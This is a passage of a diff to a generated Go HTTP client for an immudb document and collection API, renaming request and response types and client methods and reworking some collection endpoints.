`json:"collectionId,omitempty"` - Database *string `json:"database,omitempty"` - EncodedDocument *[]byte `json:"encodedDocument,omitempty"` - IdFieldName *string `json:"idFieldName,omitempty"` - VerifiableTx *SchemaVerifiableTxV2 `json:"verifiableTx,omitempty"` -} - -// ModelDocumentSearchRequest defines model for modelDocumentSearchRequest. -type ModelDocumentSearchRequest struct { - Page *int64 `json:"page,omitempty"` - PageSize *int64 `json:"pageSize,omitempty"` - Query *ModelQuery `json:"query,omitempty"` - SearchId *string `json:"searchId,omitempty"` -} - -// ModelDocumentSearchResponse defines model for modelDocumentSearchResponse. -type ModelDocumentSearchResponse struct { - Revisions *[]ModelDocumentAtRevision `json:"revisions,omitempty"` - SearchId *string `json:"searchId,omitempty"` -} - -// ModelDocumentUpdateRequest defines model for modelDocumentUpdateRequest. -type ModelDocumentUpdateRequest struct { - Document *map[string]interface{} `json:"document,omitempty"` - Query *ModelQuery `json:"query,omitempty"` -} - -// ModelDocumentUpdateResponse defines model for modelDocumentUpdateResponse. -type ModelDocumentUpdateResponse struct { - DocumentId *string `json:"documentId,omitempty"` - Revision *string `json:"revision,omitempty"` - TransactionId *string `json:"transactionId,omitempty"` -} - // ModelField defines model for modelField. type ModelField struct { Name *string `json:"name,omitempty"` @@ -227,31 +157,34 @@ type ModelFieldComparison struct { // ModelFieldType defines model for modelFieldType. type ModelFieldType string +// ModelGetCollectionResponse defines model for modelGetCollectionResponse. +type ModelGetCollectionResponse struct { + Collection *ModelCollection `json:"collection,omitempty"` +} + +// ModelGetCollectionsResponse defines model for modelGetCollectionsResponse. +type ModelGetCollectionsResponse struct { + Collections *[]ModelCollection `json:"collections,omitempty"` +} + // ModelIndex defines model for modelIndex. type ModelIndex struct { Fields *[]string `json:"fields,omitempty"` IsUnique *bool `json:"isUnique,omitempty"` } -// ModelIndexCreateRequest defines model for modelIndexCreateRequest. -type ModelIndexCreateRequest struct { - Collection *string `json:"collection,omitempty"` - Fields *[]string `json:"fields,omitempty"` - IsUnique *bool `json:"isUnique,omitempty"` +// ModelInsertDocumentsRequest defines model for modelInsertDocumentsRequest. +type ModelInsertDocumentsRequest struct { + Collection *string `json:"collection,omitempty"` + Documents *[]map[string]interface{} `json:"documents,omitempty"` } -// ModelIndexCreateResponse defines model for modelIndexCreateResponse. -type ModelIndexCreateResponse = map[string]interface{} - -// ModelIndexDeleteRequest defines model for modelIndexDeleteRequest. -type ModelIndexDeleteRequest struct { - Collection *string `json:"collection,omitempty"` - Fields *[]string `json:"fields,omitempty"` +// ModelInsertDocumentsResponse defines model for modelInsertDocumentsResponse. +type ModelInsertDocumentsResponse struct { + DocumentIds *[]string `json:"documentIds,omitempty"` + TransactionId *string `json:"transactionId,omitempty"` } -// ModelIndexDeleteResponse defines model for modelIndexDeleteResponse. -type ModelIndexDeleteResponse = map[string]interface{} - // ModelKeepAliveRequest defines model for modelKeepAliveRequest. type ModelKeepAliveRequest = map[string]interface{} @@ -264,6 +197,23 @@ type ModelOrderByClause struct { Field *string `json:"field,omitempty"` } +// ModelProveDocumentRequest defines model for modelProveDocumentRequest. +type ModelProveDocumentRequest struct { + Collection *string `json:"collection,omitempty"` + DocumentId *string `json:"documentId,omitempty"` + ProofSinceTransactionId *string `json:"proofSinceTransactionId,omitempty"` + TransactionId *string `json:"transactionId,omitempty"` +} + +// ModelProveDocumentResponse defines model for modelProveDocumentResponse. +type ModelProveDocumentResponse struct { + CollectionId *int64 `json:"collectionId,omitempty"` + Database *string `json:"database,omitempty"` + EncodedDocument *[]byte `json:"encodedDocument,omitempty"` + IdFieldName *string `json:"idFieldName,omitempty"` + VerifiableTx *SchemaVerifiableTxV2 `json:"verifiableTx,omitempty"` +} + // ModelQuery defines model for modelQuery. type ModelQuery struct { Collection *string `json:"collection,omitempty"` @@ -276,6 +226,42 @@ type ModelQueryExpression struct { FieldComparisons *[]ModelFieldComparison `json:"fieldComparisons,omitempty"` } +// ModelSearchDocumentsRequest defines model for modelSearchDocumentsRequest. +type ModelSearchDocumentsRequest struct { + Page *int64 `json:"page,omitempty"` + PageSize *int64 `json:"pageSize,omitempty"` + Query *ModelQuery `json:"query,omitempty"` + SearchId *string `json:"searchId,omitempty"` +} + +// ModelSearchDocumentsResponse defines model for modelSearchDocumentsResponse. +type ModelSearchDocumentsResponse struct { + Revisions *[]ModelDocumentAtRevision `json:"revisions,omitempty"` + SearchId *string `json:"searchId,omitempty"` +} + +// ModelUpdateCollectionRequest defines model for modelUpdateCollectionRequest. +type ModelUpdateCollectionRequest struct { + IdFieldName *string `json:"idFieldName,omitempty"` + Name *string `json:"name,omitempty"` +} + +// ModelUpdateCollectionResponse defines model for modelUpdateCollectionResponse. +type ModelUpdateCollectionResponse = map[string]interface{} + +// ModelUpdateDocumentRequest defines model for modelUpdateDocumentRequest. +type ModelUpdateDocumentRequest struct { + Document *map[string]interface{} `json:"document,omitempty"` + Query *ModelQuery `json:"query,omitempty"` +} + +// ModelUpdateDocumentResponse defines model for modelUpdateDocumentResponse. +type ModelUpdateDocumentResponse struct { + DocumentId *string `json:"documentId,omitempty"` + Revision *string `json:"revision,omitempty"` + TransactionId *string `json:"transactionId,omitempty"` +} + // ProtobufAny `Any` contains an arbitrary serialized protocol buffer message along with a // URL that describes the type of the serialized message. // @@ -499,16 +485,6 @@ type SchemaZEntry struct { Set *[]byte `json:"set,omitempty"` } -// CollectionDeleteParams defines parameters for CollectionDelete. -type CollectionDeleteParams struct { - Name *string `form:"name,omitempty" json:"name,omitempty"` -} - -// CollectionGetParams defines parameters for CollectionGet. -type CollectionGetParams struct { - Name *string `form:"name,omitempty" json:"name,omitempty"` -} - // CloseSessionJSONRequestBody defines body for CloseSession for application/json ContentType. type CloseSessionJSONRequestBody = ModelCloseSessionRequest @@ -518,41 +494,35 @@ type KeepAliveJSONRequestBody = ModelKeepAliveRequest // OpenSessionJSONRequestBody defines body for OpenSession for application/json ContentType. type OpenSessionJSONRequestBody = ImmudbmodelOpenSessionRequest -// CollectionCreateJSONRequestBody defines body for CollectionCreate for application/json ContentType. -type CollectionCreateJSONRequestBody = ModelCollectionCreateRequest +// CreateCollectionJSONRequestBody defines body for CreateCollection for application/json ContentType. +type CreateCollectionJSONRequestBody = ModelCreateCollectionRequest -// CollectionListJSONRequestBody defines body for CollectionList for application/json ContentType. -type CollectionListJSONRequestBody = ModelCollectionListRequest +// UpdateCollectionJSONRequestBody defines body for UpdateCollection for application/json ContentType. +type UpdateCollectionJSONRequestBody = ModelUpdateCollectionRequest -// CollectionUpdateJSONRequestBody defines body for CollectionUpdate for application/json ContentType. -type CollectionUpdateJSONRequestBody = ModelCollectionUpdateRequest +// InsertDocumentsJSONRequestBody defines body for InsertDocuments for application/json ContentType. +type InsertDocumentsJSONRequestBody = ModelInsertDocumentsRequest -// DocumentAuditJSONRequestBody defines body for DocumentAudit for application/json ContentType. -type DocumentAuditJSONRequestBody = ModelDocumentAuditRequest +// AuditDocumentJSONRequestBody defines body for AuditDocument for application/json ContentType. +type AuditDocumentJSONRequestBody = ModelAuditDocumentRequest -// DocumentDeleteJSONRequestBody defines body for DocumentDelete for application/json ContentType. -type DocumentDeleteJSONRequestBody = ModelDocumentDeleteRequest +// DeleteDocumentsJSONRequestBody defines body for DeleteDocuments for application/json ContentType. +type DeleteDocumentsJSONRequestBody = ModelDeleteDocumentsRequest -// DocumentInsertJSONRequestBody defines body for DocumentInsert for application/json ContentType. -type DocumentInsertJSONRequestBody = ModelDocumentInsertRequest +// ProveDocumentJSONRequestBody defines body for ProveDocument for application/json ContentType. +type ProveDocumentJSONRequestBody = ModelProveDocumentRequest -// DocumentInsertManyJSONRequestBody defines body for DocumentInsertMany for application/json ContentType. -type DocumentInsertManyJSONRequestBody = ModelDocumentInsertManyRequest +// SearchDocumentsJSONRequestBody defines body for SearchDocuments for application/json ContentType. +type SearchDocumentsJSONRequestBody = ModelSearchDocumentsRequest -// DocumentProofJSONRequestBody defines body for DocumentProof for application/json ContentType. -type DocumentProofJSONRequestBody = ModelDocumentProofRequest +// UpdateDocumentJSONRequestBody defines body for UpdateDocument for application/json ContentType. +type UpdateDocumentJSONRequestBody = ModelUpdateDocumentRequest -// DocumentSearchJSONRequestBody defines body for DocumentSearch for application/json ContentType. -type DocumentSearchJSONRequestBody = ModelDocumentSearchRequest +// CreateIndexJSONRequestBody defines body for CreateIndex for application/json ContentType. +type CreateIndexJSONRequestBody = ModelCreateIndexRequest -// DocumentUpdateJSONRequestBody defines body for DocumentUpdate for application/json ContentType. -type DocumentUpdateJSONRequestBody = ModelDocumentUpdateRequest - -// IndexCreateJSONRequestBody defines body for IndexCreate for application/json ContentType. -type IndexCreateJSONRequestBody = ModelIndexCreateRequest - -// IndexDeleteJSONRequestBody defines body for IndexDelete for application/json ContentType. -type IndexDeleteJSONRequestBody = ModelIndexDeleteRequest +// DeleteIndexJSONRequestBody defines body for DeleteIndex for application/json ContentType. +type DeleteIndexJSONRequestBody = ModelDeleteIndexRequest // RequestEditorFn is the function signature for the RequestEditor callback function type RequestEditorFn func(ctx context.Context, req *http.Request) error @@ -642,71 +612,64 @@ type ClientInterface interface { OpenSession(ctx context.Context, body OpenSessionJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) - // CollectionCreate request with any body - CollectionCreateWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) - - CollectionCreate(ctx context.Context, body CollectionCreateJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) - - // CollectionDelete request - CollectionDelete(ctx context.Context, params *CollectionDeleteParams, reqEditors ...RequestEditorFn) (*http.Response, error) - - // CollectionGet request - CollectionGet(ctx context.Context, params *CollectionGetParams, reqEditors ...RequestEditorFn) (*http.Response, error) + // GetCollections request + GetCollections(ctx context.Context, reqEditors ...RequestEditorFn) (*http.Response, error) - // CollectionList request with any body - CollectionListWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) + // CreateCollection request with any body + CreateCollectionWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) - CollectionList(ctx context.Context, body CollectionListJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) + CreateCollection(ctx context.Context, body CreateCollectionJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) - // CollectionUpdate request with any body - CollectionUpdateWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) + // UpdateCollection request with any body + UpdateCollectionWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) - CollectionUpdate(ctx context.Context, body CollectionUpdateJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) + UpdateCollection(ctx context.Context, body UpdateCollectionJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) - // DocumentAudit request with any body - DocumentAuditWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) + // DeleteCollection request + DeleteCollection(ctx context.Context, name string, reqEditors ...RequestEditorFn) (*http.Response, error) - DocumentAudit(ctx context.Context, body DocumentAuditJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) + // GetCollection request + GetCollection(ctx context.Context, name string, reqEditors ...RequestEditorFn) (*http.Response, error) - // DocumentDelete request with any body - DocumentDeleteWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) + // InsertDocuments request with any body + InsertDocumentsWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) - DocumentDelete(ctx context.Context, body DocumentDeleteJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) + InsertDocuments(ctx context.Context, body InsertDocumentsJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) - // DocumentInsert request with any body - DocumentInsertWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) + // AuditDocument request with any body + AuditDocumentWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) - DocumentInsert(ctx context.Context, body DocumentInsertJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) + AuditDocument(ctx context.Context, body AuditDocumentJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) - // DocumentInsertMany request with any body - DocumentInsertManyWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) + // DeleteDocuments request with any body + DeleteDocumentsWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) - DocumentInsertMany(ctx context.Context, body DocumentInsertManyJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) + DeleteDocuments(ctx context.Context, body DeleteDocumentsJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) - // DocumentProof request with any body - DocumentProofWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) + // ProveDocument request with any body + ProveDocumentWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) - DocumentProof(ctx context.Context, body DocumentProofJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) + ProveDocument(ctx context.Context, body ProveDocumentJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) - // DocumentSearch request with any body - DocumentSearchWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) + // SearchDocuments request with any body + SearchDocumentsWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) - DocumentSearch(ctx context.Context, body DocumentSearchJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) + SearchDocuments(ctx context.Context, body SearchDocumentsJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) - // DocumentUpdate request with any body - DocumentUpdateWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) + // UpdateDocument request with any body + UpdateDocumentWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) - DocumentUpdate(ctx context.Context, body DocumentUpdateJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) + UpdateDocument(ctx context.Context, body UpdateDocumentJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) - // IndexCreate request with any body - IndexCreateWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) + // CreateIndex request with any body + CreateIndexWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) - IndexCreate(ctx context.Context, body IndexCreateJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) + CreateIndex(ctx context.Context, body CreateIndexJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) - // IndexDelete request with any body - IndexDeleteWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) + // DeleteIndex request with any body + DeleteIndexWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) - IndexDelete(ctx context.Context, body IndexDeleteJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) + DeleteIndex(ctx context.Context, body DeleteIndexJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) } func (c *Client) CloseSessionWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { @@ -781,44 +744,8 @@ func (c *Client) OpenSession(ctx context.Context, body OpenSessionJSONRequestBod return c.Client.Do(req) } -func (c *Client) CollectionCreateWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewCollectionCreateRequestWithBody(c.Server, contentType, body) - if err != nil { - return nil, err - } - req = req.WithContext(ctx) - if err := c.applyEditors(ctx, req, reqEditors); err != nil { - return nil, err - } - return c.Client.Do(req) -} - -func (c *Client) CollectionCreate(ctx context.Context, body CollectionCreateJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewCollectionCreateRequest(c.Server, body) - if err != nil { - return nil, err - } - req = req.WithContext(ctx) - if err := c.applyEditors(ctx, req, reqEditors); err != nil { - return nil, err - } - return c.Client.Do(req) -} - -func (c *Client) CollectionDelete(ctx context.Context, params *CollectionDeleteParams, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewCollectionDeleteRequest(c.Server, params) - if err != nil { - return nil, err - } - req = req.WithContext(ctx) - if err := c.applyEditors(ctx, req, reqEditors); err != nil { - return nil, err - } - return c.Client.Do(req) -} - -func (c *Client) CollectionGet(ctx context.Context, params *CollectionGetParams, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewCollectionGetRequest(c.Server, params) +func (c *Client) GetCollections(ctx context.Context, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewGetCollectionsRequest(c.Server) if err != nil { return nil, err } @@ -829,8 +756,8 @@ func (c *Client) CollectionGet(ctx context.Context, params *CollectionGetParams, return c.Client.Do(req) } -func (c *Client) CollectionListWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewCollectionListRequestWithBody(c.Server, contentType, body) +func (c *Client) CreateCollectionWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewCreateCollectionRequestWithBody(c.Server, contentType, body) if err != nil { return nil, err } @@ -841,8 +768,8 @@ func (c *Client) CollectionListWithBody(ctx context.Context, contentType string, return c.Client.Do(req) } -func (c *Client) CollectionList(ctx context.Context, body CollectionListJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewCollectionListRequest(c.Server, body) +func (c *Client) CreateCollection(ctx context.Context, body CreateCollectionJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewCreateCollectionRequest(c.Server, body) if err != nil { return nil, err } @@ -853,8 +780,8 @@ func (c *Client) CollectionList(ctx context.Context, body CollectionListJSONRequ return c.Client.Do(req) } -func (c *Client) CollectionUpdateWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewCollectionUpdateRequestWithBody(c.Server, contentType, body) +func (c *Client) UpdateCollectionWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewUpdateCollectionRequestWithBody(c.Server, contentType, body) if err != nil { return nil, err } @@ -865,8 +792,8 @@ func (c *Client) CollectionUpdateWithBody(ctx context.Context, contentType strin return c.Client.Do(req) } -func (c *Client) CollectionUpdate(ctx context.Context, body CollectionUpdateJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewCollectionUpdateRequest(c.Server, body) +func (c *Client) UpdateCollection(ctx context.Context, body UpdateCollectionJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewUpdateCollectionRequest(c.Server, body) if err != nil { return nil, err } @@ -877,8 +804,8 @@ func (c *Client) CollectionUpdate(ctx context.Context, body CollectionUpdateJSON return c.Client.Do(req) } -func (c *Client) DocumentAuditWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewDocumentAuditRequestWithBody(c.Server, contentType, body) +func (c *Client) DeleteCollection(ctx context.Context, name string, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewDeleteCollectionRequest(c.Server, name) if err != nil { return nil, err } @@ -889,8 +816,8 @@ func (c *Client) DocumentAuditWithBody(ctx context.Context, contentType string, return c.Client.Do(req) } -func (c *Client) DocumentAudit(ctx context.Context, body DocumentAuditJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewDocumentAuditRequest(c.Server, body) +func (c *Client) GetCollection(ctx context.Context, name string, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewGetCollectionRequest(c.Server, name) if err != nil { return nil, err } @@ -901,8 +828,8 @@ func (c *Client) DocumentAudit(ctx context.Context, body DocumentAuditJSONReques return c.Client.Do(req) } -func (c *Client) DocumentDeleteWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewDocumentDeleteRequestWithBody(c.Server, contentType, body) +func (c *Client) InsertDocumentsWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewInsertDocumentsRequestWithBody(c.Server, contentType, body) if err != nil { return nil, err } @@ -913,8 +840,8 @@ func (c *Client) DocumentDeleteWithBody(ctx context.Context, contentType string, return c.Client.Do(req) } -func (c *Client) DocumentDelete(ctx context.Context, body DocumentDeleteJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewDocumentDeleteRequest(c.Server, body) +func (c *Client) InsertDocuments(ctx context.Context, body InsertDocumentsJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewInsertDocumentsRequest(c.Server, body) if err != nil { return nil, err } @@ -925,8 +852,8 @@ func (c *Client) DocumentDelete(ctx context.Context, body DocumentDeleteJSONRequ return c.Client.Do(req) } -func (c *Client) DocumentInsertWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewDocumentInsertRequestWithBody(c.Server, contentType, body) +func (c *Client) AuditDocumentWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewAuditDocumentRequestWithBody(c.Server, contentType, body) if err != nil { return nil, err } @@ -937,8 +864,8 @@ func (c *Client) DocumentInsertWithBody(ctx context.Context, contentType string, return c.Client.Do(req) } -func (c *Client) DocumentInsert(ctx context.Context, body DocumentInsertJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewDocumentInsertRequest(c.Server, body) +func (c *Client) AuditDocument(ctx context.Context, body AuditDocumentJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewAuditDocumentRequest(c.Server, body) if err != nil { return nil, err } @@ -949,8 +876,8 @@ func (c *Client) DocumentInsert(ctx context.Context, body DocumentInsertJSONRequ return c.Client.Do(req) } -func (c *Client) DocumentInsertManyWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewDocumentInsertManyRequestWithBody(c.Server, contentType, body) +func (c *Client) DeleteDocumentsWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewDeleteDocumentsRequestWithBody(c.Server, contentType, body) if err != nil { return nil, err } @@ -961,8 +888,8 @@ func (c *Client) DocumentInsertManyWithBody(ctx context.Context, contentType str return c.Client.Do(req) } -func (c *Client) DocumentInsertMany(ctx context.Context, body DocumentInsertManyJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewDocumentInsertManyRequest(c.Server, body) +func (c *Client) DeleteDocuments(ctx context.Context, body DeleteDocumentsJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewDeleteDocumentsRequest(c.Server, body) if err != nil { return nil, err } @@ -973,8 +900,8 @@ func (c *Client) DocumentInsertMany(ctx context.Context, body DocumentInsertMany return c.Client.Do(req) } -func (c *Client) DocumentProofWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewDocumentProofRequestWithBody(c.Server, contentType, body) +func (c *Client) ProveDocumentWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewProveDocumentRequestWithBody(c.Server, contentType, body) if err != nil { return nil, err } @@ -985,8 +912,8 @@ func (c *Client) DocumentProofWithBody(ctx context.Context, contentType string, return c.Client.Do(req) } -func (c *Client) DocumentProof(ctx context.Context, body DocumentProofJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewDocumentProofRequest(c.Server, body) +func (c *Client) ProveDocument(ctx context.Context, body ProveDocumentJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewProveDocumentRequest(c.Server, body) if err != nil { return nil, err } @@ -997,8 +924,8 @@ func (c *Client) DocumentProof(ctx context.Context, body DocumentProofJSONReques return c.Client.Do(req) } -func (c *Client) DocumentSearchWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewDocumentSearchRequestWithBody(c.Server, contentType, body) +func (c *Client) SearchDocumentsWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewSearchDocumentsRequestWithBody(c.Server, contentType, body) if err != nil { return nil, err } @@ -1009,8 +936,8 @@ func (c *Client) DocumentSearchWithBody(ctx context.Context, contentType string, return c.Client.Do(req) } -func (c *Client) DocumentSearch(ctx context.Context, body DocumentSearchJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewDocumentSearchRequest(c.Server, body) +func (c *Client) SearchDocuments(ctx context.Context, body SearchDocumentsJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewSearchDocumentsRequest(c.Server, body) if err != nil { return nil, err } @@ -1021,8 +948,8 @@ func (c *Client) DocumentSearch(ctx context.Context, body DocumentSearchJSONRequ return c.Client.Do(req) } -func (c *Client) DocumentUpdateWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewDocumentUpdateRequestWithBody(c.Server, contentType, body) +func (c *Client) UpdateDocumentWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewUpdateDocumentRequestWithBody(c.Server, contentType, body) if err != nil { return nil, err } @@ -1033,8 +960,8 @@ func (c *Client) DocumentUpdateWithBody(ctx context.Context, contentType string, return c.Client.Do(req) } -func (c *Client) DocumentUpdate(ctx context.Context, body DocumentUpdateJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewDocumentUpdateRequest(c.Server, body) +func (c *Client) UpdateDocument(ctx context.Context, body UpdateDocumentJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewUpdateDocumentRequest(c.Server, body) if err != nil { return nil, err } @@ -1045,8 +972,8 @@ func (c *Client) DocumentUpdate(ctx context.Context, body DocumentUpdateJSONRequ return c.Client.Do(req) } -func (c *Client) IndexCreateWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewIndexCreateRequestWithBody(c.Server, contentType, body) +func (c *Client) CreateIndexWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewCreateIndexRequestWithBody(c.Server, contentType, body) if err != nil { return nil, err } @@ -1057,8 +984,8 @@ func (c *Client) IndexCreateWithBody(ctx context.Context, contentType string, bo return c.Client.Do(req) } -func (c *Client) IndexCreate(ctx context.Context, body IndexCreateJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewIndexCreateRequest(c.Server, body) +func (c *Client) CreateIndex(ctx context.Context, body CreateIndexJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewCreateIndexRequest(c.Server, body) if err != nil { return nil, err } @@ -1069,8 +996,8 @@ func (c *Client) IndexCreate(ctx context.Context, body IndexCreateJSONRequestBod return c.Client.Do(req) } -func (c *Client) IndexDeleteWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewIndexDeleteRequestWithBody(c.Server, contentType, body) +func (c *Client) DeleteIndexWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewDeleteIndexRequestWithBody(c.Server, contentType, body) if err != nil { return nil, err } @@ -1081,8 +1008,8 @@ func (c *Client) IndexDeleteWithBody(ctx context.Context, contentType string, bo return c.Client.Do(req) } -func (c *Client) IndexDelete(ctx context.Context, body IndexDeleteJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewIndexDeleteRequest(c.Server, body) +func (c *Client) DeleteIndex(ctx context.Context, body DeleteIndexJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewDeleteIndexRequest(c.Server, body) if err != nil { return nil, err } @@ -1213,19 +1140,8 @@ func NewOpenSessionRequestWithBody(server string, contentType string, body io.Re return req, nil } -// NewCollectionCreateRequest calls the generic CollectionCreate builder with application/json body -func NewCollectionCreateRequest(server string, body CollectionCreateJSONRequestBody) (*http.Request, error) { - var bodyReader io.Reader - buf, err := json.Marshal(body) - if err != nil { - return nil, err - } - bodyReader = bytes.NewReader(buf) - return NewCollectionCreateRequestWithBody(server, "application/json", bodyReader) -} - -// NewCollectionCreateRequestWithBody generates requests for CollectionCreate with any type of body -func NewCollectionCreateRequestWithBody(server string, contentType string, body io.Reader) (*http.Request, error) { +// NewGetCollectionsRequest generates requests for GetCollections +func NewGetCollectionsRequest(server string) (*http.Request, error) { var err error serverURL, err := url.Parse(server) @@ -1233,7 +1149,7 @@ func NewCollectionCreateRequestWithBody(server string, contentType string, body return nil, err } - operationPath := fmt.Sprintf("/collections/create") + operationPath := fmt.Sprintf("/collections") if operationPath[0] == '/' { operationPath = "." + operationPath } @@ -1243,65 +1159,27 @@ func NewCollectionCreateRequestWithBody(server string, contentType string, body return nil, err } - req, err 